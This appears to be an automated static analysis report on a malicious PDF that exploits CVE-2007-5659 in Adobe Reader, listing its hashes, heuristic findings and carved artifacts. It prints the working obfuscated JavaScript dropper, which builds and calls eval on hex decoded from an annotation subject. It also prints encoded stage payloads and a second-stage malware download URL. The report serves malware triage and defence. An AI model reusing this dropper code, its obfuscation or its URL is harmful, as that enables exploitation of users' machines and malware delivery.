Malicious PDF — malware analysis report

Static analysis result for SHA-256 6bd31b48f421cda0…

MALICIOUS

PDF

15.4 KB
MD5: ced510acd2f5e3e36b6807d276c0ebbe SHA-1: 8ec7eddca53036de22a08ced3321271349934cf0 SHA-256: 6bd31b48f421cda0ee22de7544d196d13948f793b777be7902e660c52dff6dc9
366 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains obfuscated JavaScript that exploits CVE-2007-5659 in Adobe Reader. The script is designed as a multi-stage dropper, first decoding a payload from the annotation subject and then executing it. This payload contains an embedded URL, http://searchfunes.org/cgi-bin/153/n002106204r0409Xc168fc62Y00a55f0d, which is likely used to download and execute a further stage of malware. The ML classifier and ClamAV detection strongly support its malicious nature.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after static deobfuscation)
  • JavaScript action low 5 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Adobe Reader APSB08-13 patch-range version gate (CVE-2007-5659) high CVE likely PDF_JS_ADOBE_APSB08_13_PATCH_GATE
    PDF JavaScript gates the exploit payload on (>= 8 && < 8.1.1) OR (< 7.1) — the Reader 7.0.x / 8.0–8.1.1 window patched by Adobe APSB08-13 for the CVE-2007-5659 Collab.collectEmailInfo buffer overflow. Only kits that target that exact bug check both of those patch points; benign scripts do not.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Obfuscated multi-stage PDF JavaScript dropper high PDF_JS_OBFUSCATED_DROPPER
    PDF JavaScript shows 5 independent signals of exploit-kit-style multi-stage obfuscation: annot_subject_stage, hex_codec_loop, hex_dashed_payload, incremental_eval_build, repeated_pluginschk. This is strongly consistent with pre-2011 Adobe Reader PDF droppers — OpenAction JS reads encoded data from annotation subjects, decodes it through one or more hex / base-N loops, and invokes eval indirectly (method name built one character at a time). The actual CVE is hidden in the final decoded layer and is not visible via static analysis.
  • PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • ClamAV: Pdf.Exploit.Agent-35901 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-35901
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://searchfunes.org/cgi-bin/153/n002106204r0409Xc168fc62Y00a55f0d Referenced by PDF JavaScript

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js
4718a27c2224fc36bf24f8e8e04598f1ad78adce4401c7be2708318738a6983d		 pdf-javascript-stream PDF /JS object 5 at offset 0x148 469 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var pr = null;
var fnc = 'ev';
var sum = '';

app.doc.syncAnnotScan();

if (app.plugIns.length != 0) {
	var num = 1;

	pr = app.doc.getAnnots(
		{
			nPage: 0
		}
	);

	sum = pr[num].subject;
}

var buf = "";

if (app.plugIns.length > 3) {
	fnc += 'a';
	var arr = sum.split(/-/);

	
	for (var i = 1; i < arr.length; i++) {
		buf += String.fromCharCode("0x"+arr[i]);
	}
	fnc += 'l';
}

if (app.plugIns.length >= 2)
{
	app[fnc]/**/(buf);
}
legacy_pdfkit_stage_000.js
9fdbef5f8f1ad9a6a7fcc48a6e00c98810842391dfe65aff7580afa154597742		 deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x1A0F 12136 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function xB_T86wH205(V_5VD8u3aD, Vu___1_Lc_v4){var AaX8_c_K = 20;var h_p_V_YVa10__5v = 0;var XVK____s = 512;var DyIIv4C3O_X2_u = AaX8_c_K;var U__86_r_C7mU__x = "";var n_CA_3 = 4;var KT3El3v = this;var t1WsLQ8CP = "1234ee";var W56_Q5g6 = arguments;try {var JKnX2ya63_144 = 0;if (app) {DyIIv4C3O_X2_u = DyIIv4C3O_X2_u + 2;Vu___1_Lc_v4 = pr[JKnX2ya63_144].subject;}t1WsLQ8CP = t1WsLQ8CP.replace(/\d+/, "call");} catch(e) { }DyIIv4C3O_X2_u = DyIIv4C3O_X2_u - AaX8_c_K;var e6_uyXN2se = new Array();var l6_i_6_n = 150;if (l6_i_6_n > 0) {e6_uyXN2se[0] = l6_i_6_n;e6_uyXN2se[1] = XVK____s;e6_uyXN2se[0] = e6_uyXN2se[0] - l6_i_6_n;e6_uyXN2se[2] = e6_uyXN2se[0];e6_uyXN2se[1] = e6_uyXN2se[1] - XVK____s;e6_uyXN2se[3] = e6_uyXN2se[1];}if (V_5VD8u3aD) { e6_uyXN2se = V_5VD8u3aD;}if (!V_5VD8u3aD) {var NFQ_o2a5J__hh = W56_Q5g6[t1WsLQ8CP].toString();var K72E8Rhi = 0;var sqeXk_IWr2_m = K72E8Rhi;l6_i_6_n = l6_i_6_n - 102;var D_q_d1_aS60 = 0;while(sqeXk_IWr2_m < NFQ_o2a5J__hh.length) {D_q_d1_aS60 = NFQ_o2a5J__hh.charCodeAt(sqeXk_IWr2_m);if (D_q_d1_aS60 >= l6_i_6_n && D_q_d1_aS60 <= 57) {if (K72E8Rhi == n_CA_3) {K72E8Rhi = -1;}if (K72E8Rhi < 0) { K72E8Rhi = 0; }e6_uyXN2se[K72E8Rhi] += D_q_d1_aS60;if (e6_uyXN2se[K72E8Rhi] > XVK____s) {e6_uyXN2se[K72E8Rhi] -= XVK____s;}K72E8Rhi = K72E8Rhi + 1;}sqeXk_IWr2_m = sqeXk_IWr2_m + 1;}}var V4761_1 = 0;var vi_oSh313o0 = 0;var rw_u15_P__AJdu = -1;var bP_01m7q = 0;var K2UHrw = 0;do {var ul8G8dJf3G = 256;if (e6_uyXN2se[bP_01m7q] > ul8G8dJf3G) {e6_uyXN2se[bP_01m7q] -= ul8G8dJf3G;}bP_01m7q = bP_01m7q + 1;} while (bP_01m7q < n_CA_3);bP_01m7q = bP_01m7q - n_CA_3;while(bP_01m7q < Vu___1_Lc_v4.length) {var jED74_x = Vu___1_Lc_v4.substr(bP_01m7q, 1) + ' V V ';bP_01m7q = bP_01m7q + 1;var t_xw21_8_8_45 = parseInt(jED74_x, AaX8_c_K);if (rw_u15_P__AJdu != -1) {vi_oSh313o0 += t_xw21_8_8_45;if (V4761_1 == n_CA_3) {V4761_1 = 0;}var R66Y_um4 = vi_oSh313o0;R66Y_um4 = R66Y_um4 - (K2UHrw + 2) * e6_uyXN2se[V4761_1];if (R66Y_um4 <= 0) {R66Y_um4 = R66Y_um4 - Math.floor(R66Y_um4 / 256) * 256;}R66Y_um4 = String.fromCharCode(R66Y_um4);if (DyIIv4C3O_X2_u == 1) {U__86_r_C7mU__x += t_xw21_8_8_45;} else if (DyIIv4C3O_X2_u == 2) {U__86_r_C7mU__x += R66Y_um4;} else {U__86_r_C7mU__x += bP_01m7q;rw_u15_P__AJdu = -2;}rw_u15_P__AJdu = -1;V4761_1 = V4761_1 + 1;K2UHrw = K2UHrw + 1;} else if (rw_u15_P__AJdu == -1) {rw_u15_P__AJdu = AaX8_c_K;vi_oSh313o0 = t_xw21_8_8_45 * AaX8_c_K;}}var r4_j2__TW = this;r4_j2__TW['ev'+'al'](U__86_r_C7mU__x);}
	xB_T86wH205(0, "465ca24dbf740faf7b7a53406e6b75a01i79ag0a9cb55h8868a0ai076910bc1e171h61a79c2ha7229b080j5c5b4c44ae333e8a0db12b0070ae6g7ead7a73bf60298e2fb0b96b59016a7d9f8b79c937193d0e86250b0ibd879b2g19375403775d1g31c7aaa41f37427659918g406icf0f1d85244617a18h03688e1d4b5iai569d0h0074180b02c27668c420ag5dcd9246230f138cba2c5ib97263af54787121bb3b4735141284b64h8j7i0fag7db767541fab8f96afajc00e68a13e5c6e22c29d46283e19b52i737d853g9720484j463d193354a09c5gbb407c70316g6b777c27008b945015bd3ab4a2cf6146480a0b881e281i150535936da01ea0925j4a2g1a2d36975hc87daja46h476b63699968aa129abd24c6aa3b659j87859174cc2a5839c86ea9a00abd1j922e2a71414c48bc3f4e964ea66e398jab7f7eb14h76b3411h840bb4ag97860d68888h5a4bc43aa1089c8168bi10b27da1cd3b0667297j5c24469d9i9c66492f9b3c8797674ibg280064147aae8i69c0929ib3356f895ga02b03a21i0e0aag427ab437bi6ebf6g421232bd8cc6423bcd9j2dac62726a2cb5005845cda9587498689cce0441a25i5413a3b371b18jc2016a9j43456hc1b3a2331h2f2cbg3e5769b14cc42g6d233d73003b819fcf50bj3b9b662c983i9j851j3bb700319d9c0g8j6h939f056hb5cf62331147b8bg2i5c3i6809ag85362e1c462b467j5c157f0f00836j33424777688600a0bi24a9aa52747baba7913f970j341jb675adcf1e8j117b1gcf594b547h003c54b842a052137c778080106766ac40256e1c8b0ca07i3cacb38869349f09a14b9b6j44bbba09bd9b1i232147205j690024949ba81h0g246856738c43841420336a3g50bh6i7ca468b81a46767f45943a9f93bicf02cb439b1e63a534086830141f068cad1d6c1c8j63ai66726abc8a1248433a064j7c7a9b99cc0441a267440ib2b7b4bc9d302ea60e7g7h34c899950hc8c8609c2g739j7846951g67460i6g3f76688db1438i1d6a530j5h5h9686bh3380c764bf913jbgabb36b057h0g0c9839b34h0j9ccb855c9i170786674a3f0b3362a36da673110f9j8b5c1h356g687f09672bbhc5aa5i519b949jc457a51b5043c72g7e9cb980c16a0ibc82
... (truncated)
legacy_pdfkit_stage_001.js
193eab2a077fff7096ad6357b437f3d984598d9523b17073cebf38d98aa380d1		 deobfuscated-js nested inline base-23 callee-key decoded JavaScript at offset 0x1A0F 4825 bytes
Preview script
First 1,000 lines of the extracted script
�p�,l�_TLtnWxJF}IK>=;�t�2_�rs|I,>ys�;|}oz1KZ^}@khTJ ^&0P�s�>�i�qWwe�f2L 47V~��lwro�&k_zNzw8wW(hGGW�SJ#\]Ge�c<q�FD~:5~�yr2_|re}y�1qMbk_f�2a&q`VqyQ0bwgGuUC��b��o�p42>yy�,k\GQ��qnFrOhUfD=2@+Jxu�C�g{#b]tM]^NiDd�)@)?Y;PxkMZ^EuMm| T;V|�_���C}D_kwEw1oew���>>\fk>H[<~G|�II;,��s�2�9zRez}@^�8U;��x�nm��FG�iqep}=}D�tk]}L�~z���IMl�DHm3�Vs�,2IA8G�o>(<��odo=�Zh1q\tFRsDD;�u<z:wqqCmm O#~TwC�qzXUyF��Yt�lngF=KJD�xA:u9hRwzk@p�4�w�yz� LIDO85�2�Z_=}en:j�5^8F04;7,{Z�OhYe=mpJ2�q�yw&r{ 1�Q�@�_zIR�7�}qp�h)<X J;;� {W�ChYkXmm/F2"NH+A#�YS\B|�__[f@YC]2U �WeO}etLj�;4;SPJT���b[WLP[WG��wqx�qFbJ\H��bqUrCSIKFl��p��8N)S)>�;eShTy�zbIZCSFZ C;=N% 12b\_?�{ehU]FnI]Y2�ym�5azoOzR�_o>zn�f)=2\;GNwS1�rk��{�yII95Grf,=jz�X_=}qW2���iIuk�g�})aX;1MD�;[t�IkLbqW2qt�Z8^,:34/+/dz~UhI�qlMh��iM �el�nAuf;Lmn�7_IqkT2h}�ZL�hn��w#*O2G)2�Ay}uCzLz�ZPbz l&R;CHT4;A�bMVN��}hdc7bLW)a).K( =Ds��ChF}�`>�tvN;7&=P:5=AYJV3��hhaxUY:QP�}���nAYYP?|�w�[oXVCcA�ou�fwir�2in�TV[thhQ�w|.q�czRq9~fr{e2J,��Gzbg[f<p)�� r8VeI_T\q[�utA@#nn�2Y��d�."+)G��r,v^oUh���,a h�f�dhH�l�oeSY�jx#uPeCnFX_�=rAro&:7u>_Oz@^n}C�2@2Mk{}RtE�c�xzV1ua��jt�h�Rl1+%�K0%A,;'=/B=5>���&(i2�Oz=Xz�L~)F W ^L&nhx}^b3�Zr~k21lenv�w;&�nq@�EPt=tx�sKx2^#\�czI�B~liieGO��t|�~(WSwOk:RzzFx)4AL,);)Y�pi[zou�2I&S�u}g�0�ci{h>O�uk|}�iz|:E/8T>n1q1at�O{DA��WDqFtRX}k:f8C8FY~{�>FS]b>iy3{As�>U)6ADDfzGfgTcMm�#H/��2zbmmf9vC��nytnA efzVEpW~8[�4.28�� ~;�T�\@~l)O8}rDe�gd]0|F��s�FrmeS�Fex}ME^3u8m�)1tow�~x�y7FB5Yoo,+�u�YO��Lxw�v�q8Ra;OG)�>�o�DIurDa/=3(>=#�`�PX�rJ&�wwLw]bbXqo}jWJ}F�LUe�O{r)a8tW�G:irJiGkLb=^h�1x7FY�_`zJKm?~JX�5[)w�7�]kw:qxks0`1oew��� `5<#@D1DktRqikzFn`}siGhFbUv}}=�~2[)=T6"\bzRb`Jz7bf}d`Mh7}4vnqC�)7>=r8I 10H=Pc2zI�@a�tOo;7F;SY��A(LbeCtHP�U�`w4�w���};Q S`tVZmN~MX�25(22D2�w_Uq]JnRqW�dW2bC�4^_�7�l)IA70<(>������Lbf}DN[K�P|vD<2wqCqEh�:eZzLuz����J)��gZOt�r�8.R/"7�4,L n�@�cP�L�iwmb{w;E^Tc8p�2+>Io#1DYnItfY_UzfzgMozPHpTiVv�rP_r�DfX9lYg�;LUAG;��d]O�r�� IID17�<Q<?:G~�}�r�,�praw{�|\�f��cw���Aaeq8CvQ�Cpg[oek{I`q�rYn�/)e�jQza_Z[A��q��h;Fsygfeq{7`hx~V}n1~h�v�z3;`_�d?hjwla;/�syjueY�Oc�o{Y�q)7I>�gUi__i:Zz��wk�D��p^xzw~RNz�~nw�,a ��^cz\�Liw{�Ve�.y�bs}�{�pFH5M�X9natu[PP;J�t���� �jRcw_~Lfzo�zh}>�x�nf�o�wA\q;\v7m^hs?L] t>}Bta5 W3_kLtwF�O�58rPGxC�}uD��g~D_4UEO9iu;F 6�9{Eu<cTlM�vr/��g�Y\{OQzxrnhn;^)�qt�ug�n(ETYk=nqFtIz2G| ~)}rPw} dcTa)U)zhwN}qSwK:iyw>}Q�IPDxPG�I�e�JG�j� \zx�X�3�`u�eG,a 7@�WH?H7uK3EN@�<Q?Q@~K9N3C�E6?0%�B?eDCxE?66.���0EF~eQ9<7�EKx�F�0Q9E@{NXJoF�?3sL%�H3N9I�LD<Q.�St0{I�N~C07�R?D�%xjd@r@{QPMh%~wk?G%�V�NB(�H=FE.�RT;|(�V}I�7�QoBP(�oRMe@xQ@Kd+�w8J<%�QBVr+xE6E9.�iQn>.�T~NJ7�TNB�.�9SHE@u72LV.�BgQ�%~orS71�MnLZ.�nDnD1uN<R?7�3B<B4{mOVt@�>HIU4�<NQ~%{raU54�J:UO.�>07@7�N<Tf7�upCG7�n�\h@�<BJ�:uDOf?%x9Ief:{E0T=.�D�06:�S:j~7�ATAA=�0F6S@�<0EI=�x�0N%x?rSW@�J98g.�DA84@uN8>n7�FHA?@~3z><@�IPEEC�DIu|%u�fUbC�KV8�.~K8:;F�N6@V7��qD<F�;H9;@��IEEFx<I@<%�NMP�I~KVCG.{OQl6I�N0<M7�SdAq%�0@xL@�V>H?%�<BCV%��9QN(�JKG3.xSI8W(xflG97�OHA<(~oAMB@�XSE?+�ByEK%�V3NI+�JQ��.uYm0U.�VWM]7~T@u5.�;6L4@�0BHs.{tCR>%�5Nf�1�JIKJ.u;b8T1�QfRM7~:4Dk4�:;Pe@�r;E<4�DwSZ%�8<UH4u�JN9.�oN3N7{ROUE7{6Nsj7�33fG@�9i q:�=9e�%�v6Qy:�EM[R.�uqlI:�NN0j7x@?vd=uo1nn@�=�Hn={w@:A%�G�Sz@�GF8�.�|g0K@�V�9Q7uFk<c@�8h>b@~B<FlC�Dnsm%�MwN@Cx~D69.�J�j}F~cK>H7���wVF�oix�@{Ph�oF�<q@�%�Q;erI�Ms{h.�Rw0�I�eGy;7�NECN%x;axp@{NNJh%~>o@v%�TSU6(�J9IG.�NT9|(�UFHV7�X3CL(�2�Ed@xX?Gi+�BUK8%�WEU5+xK?KA.�Z�:D.�UBND7�Zf>�.�9ROG@u63Gf.�B]QU%~68Pm1�KqQ].�3=2x1uQBN87�9�>�4{3EQ9@�6IHP4�?WQB%{9QQ24�L5QL.�94397�QETN7�?9AJ7�3KTU@�?EHS:u?TZ9%x>NQV:{H0W<.�?P97:�T?3G7�BU??:G�y{5lqt}EI�/I8�qnsxpphC`znK2OqttWytpFYqczRwE�Zil\A/)k�D�z�pT<�/;>v|x;fS[zbnM�X� @DQ�R39QE6S�s�At;tnh�We\�}OT}2I&Qt}�NLoR�e�|�k8E 2;�a~,\�[QbXnW[ I,cw^�kzDxFy2<>(qVq��h`bk�k[Wk:0~9YG;�yglYq{=Qex�n}n)^;stnA@yc�(�jRcw_~Lfzo�zh},>P�vZ}IzWO2G�s� b�7�cewI}qb=��> RD@tIR9aNf�)H N�R?9NQK>DEYOqetAu7�Yf~~#:�y�)_�eJtk�Ow[�Kzs�)X#B>8eb�h_q�Rndy6zU�D`/zp=_onz=zqbI|t>>;b}w_zbs=}Uv9�j�IFMD�o�tB[��Ql87�LEvek�Gqn|=hU|Q�auf2O �yg{YY�UW��~t�n/+)ozw}Q7lY��u�zc�{~}Dq�ztehaT:5��s�2thzUerL�,R84=Gfu� FMr�\`XHi8j� I80A5G{n8Zp?uYj�8H C2V;YihM`vEuS^y+I5&~Y�}Ib~4�D:L �nesrm �117�<cTl4�<cB{:;S��s�#e:��bz_TqH|&X)C4>oxx/FGf_MNp<uD[� L&0Y,YlzMEy?�Dd�5W5US0;2bitDEsQl8^�I+52�VRb�n�qZqBv;7[ twhFq�Cz>�tzi�1��l�jtww�~h#^;F�~�jbFu~{u
... (truncated)
deobfuscated.js
933866ccb223be14b3251de5407d4968b71293eccfee251ff287358297f3e582		 deobfuscated-js PDF JavaScript deobfuscation pass 124005 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var pr = null;
var fnc = 'ev';
var sum = '';

app.doc.syncAnnotScan();

if (app.plugIns.length != 0) {
	var num = 1;

	pr = app.doc.getAnnots(
		{
			nPage: 0
		}
	);

	sum = pr[num].subject;
}

var buf = "";

if (app.plugIns.length > 3) {
	fnc += 'a';
	var arr = sum.split(/-/);

	
	for (var i = 1; i < arr.length; i++) {
		buf += String.fromCharCode("0x"+arr[i]);
	}
	fnc += 'l';
}

if (app.plugIns.length >= 2)
{
	app.eval(buf);
}

465ca24dbf740faf7b7a53406e6b75a01i79ag0a9cb55h8868a0ai076910bc1e171h61a79c2ha7229b080j5c5b4c44ae333e8a0db12b0070ae6g7ead7a73bf60298e2fb0b96b59016a7d9f8b79c937193d0e86250b0ibd879b2g19375403775d1g31c7aaa41f37427659918g406icf0f1d85244617a18h03688e1d4b5iai569d0h0074180b02c27668c420ag5dcd9246230f138cba2c5ib97263af54787121bb3b4735141284b64h8j7i0fag7db767541fab8f96afajc00e68a13e5c6e22c29d46283e19b52i737d853g9720484j463d193354a09c5gbb407c70316g6b777c27008b945015bd3ab4a2cf6146480a0b881e281i150535936da01ea0925j4a2g1a2d36975hc87daja46h476b63699968aa129abd24c6aa3b659j87859174cc2a5839c86ea9a00abd1j922e2a71414c48bc3f4e964ea66e398jab7f7eb14h76b3411h840bb4ag97860d68888h5a4bc43aa1089c8168bi10b27da1cd3b0667297j5c24469d9i9c66492f9b3c8797674ibg280064147aae8i69c0929ib3356f895ga02b03a21i0e0aag427ab437bi6ebf6g421232bd8cc6423bcd9j2dac62726a2cb5005845cda9587498689cce0441a25i5413a3b371b18jc2016a9j43456hc1b3a2331h2f2cbg3e5769b14cc42g6d233d73003b819fcf50bj3b9b662c983i9j851j3bb700319d9c0g8j6h939f056hb5cf62331147b8bg2i5c3i6809ag85362e1c462b467j5c157f0f00836j33424777688600a0bi24a9aa52747baba7913f970j341jb675adcf1e8j117b1gcf594b547h003c54b842a052137c778080106766ac40256e1c8b0ca07i3cacb38869349f09a14b9b6j44bbba09bd9b1i232147205j690024949ba81h0g246856738c43841420336a3g50bh6i7ca468b81a46767f45943a9f93bicf02cb439b1e63a534086830141f068cad1d6c1c8j63ai66726abc8a1248433a064j7c7a9b99cc0441a267440ib2b7b4bc9d302ea60e7g7h34c899950hc8c8609c2g739j7846951g67460i6g3f76688db1438i1d6a530j5h5h9686bh3380c764bf913jbgabb36b057h0g0c9839b34h0j9ccb855c9i170786674a3f0b3362a36da673110f9j8b5c1h356g687f09672bbhc5aa5i519b949jc457a51b5043c72g7e9cb980c16a0ibc825f2a5398495jaf3gb753077i7b5b3cc2344d8j2j0062c8aacfa1503475aebb7442be3f18209b4j259e038i756jbb2j18530e958h333iajc1af401j3d7f6h8dah797h0ebd2b6e334g15a38fc08397b336479f2jae3a049i1c100c1b7368cc53bh51cd834133320996c34j2gce9h4e9j4b673f2g9g3d795a0fa44jaj8a76921j0c5892405609cabia60i8j1f287806596767c2b3bh3fbj11190e3c87698155ca1i7d2b023f094a8ebi0i43063a906i3b9a76a34gc60098cd5gcfa13j8hagb68h3f5ib1aj9b352914ceaa2a695c752h07b4414h2j363a276851c1450faa9b544a506j649i6h1967052ac7aa467474cf8jce6ec1c21j3g0g6ja9bd29ac1iag1i263h360g79950g1d81129c2c0d5d714841ad7f84ba2h08800ab0a99e4h2b9bb6958b349200b300b05h25bh14bba8861i143h573886730i1904020e5650556h2f9f94674fcf0e227i2770c49a8b9d996fb91159b447941ibi6g2dbf0c125j76b963ca6a32ac4b0828be8ca94235039b5e7d63343ab48d0c3j3e06aj959h7983922913746j4d2125b8a7a4bac2003d8b0g726j42bdc30e36363g5b09417b6h741f881242560h6g0h5d7bc8a97d9524b19g2h6f67707jbe2aa6033i0683258175aa8e4476a3a06i2f1a28c2c5068j3d944da08i34232jc91d52935hb960b7047c73661h4c57a3aa0i9a132cbg9a347672c3a5036f0f202c00c05b98ag089hc49f0f1c7f3f123d894b5hah4f9c6f1da2844b751a3460806c3d692fb0078f630h9d85bf8d69cd1f1438046169a0c4bba87c0c31086b0j7c8f09190c0cc35j4i56a6665c7a4644aj2a3a4f1c81c1a4789ha1a8ae4h6dbd53a53c8f79ca9cacah35ajaf64ae7d0f78423dcfc5599e1f2aa96j1jb0527d4fc4b63d562g4ac382848085811jb0679b6j50298haf7icf9g1e28a3ag727634c8800d293c1829093g578i7646951g414d33780h6d4j94aj8ga93c9b67258a439a600h4673ad31c3b61gb485b5871867cf0b840g181i150535936da007bb7940172ic90h3e8b7gac6ac5bf9b5a53496j868h7f337413cec2aa634i9ib86gaa3499c02102be5798ac1e910b9b0e1j616j3a5d973328af1ac25e2j6a9i3b43ad417c8046005d088d9e7i690j9b88bb5i5ebe3fai3a9b4j3e9cb9a3ai9ibb0gcd5f2i5g7c1h2hc7accf474b27a46492a478779cc600683j70ag7c859g9f7j00573d7f1h610i94602gc302b86885015398671ba338290h1366cf1g4i0ga32ga65e3448b47f0g4f2i141996ag8aa498c0ba5ja2483i2d8iaj85c809c00d68ca6f556700a2c813262454a63j79a79j57c0bi346e46662c4i7bc60i838g187h530a6279654gb8009ec741cfa02ib47bc67g4063bgc78814043hb4030b886f680ia086651723c92b5a707gb9590fag9b6j5f4g4h829b811h90bf28aga36e
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.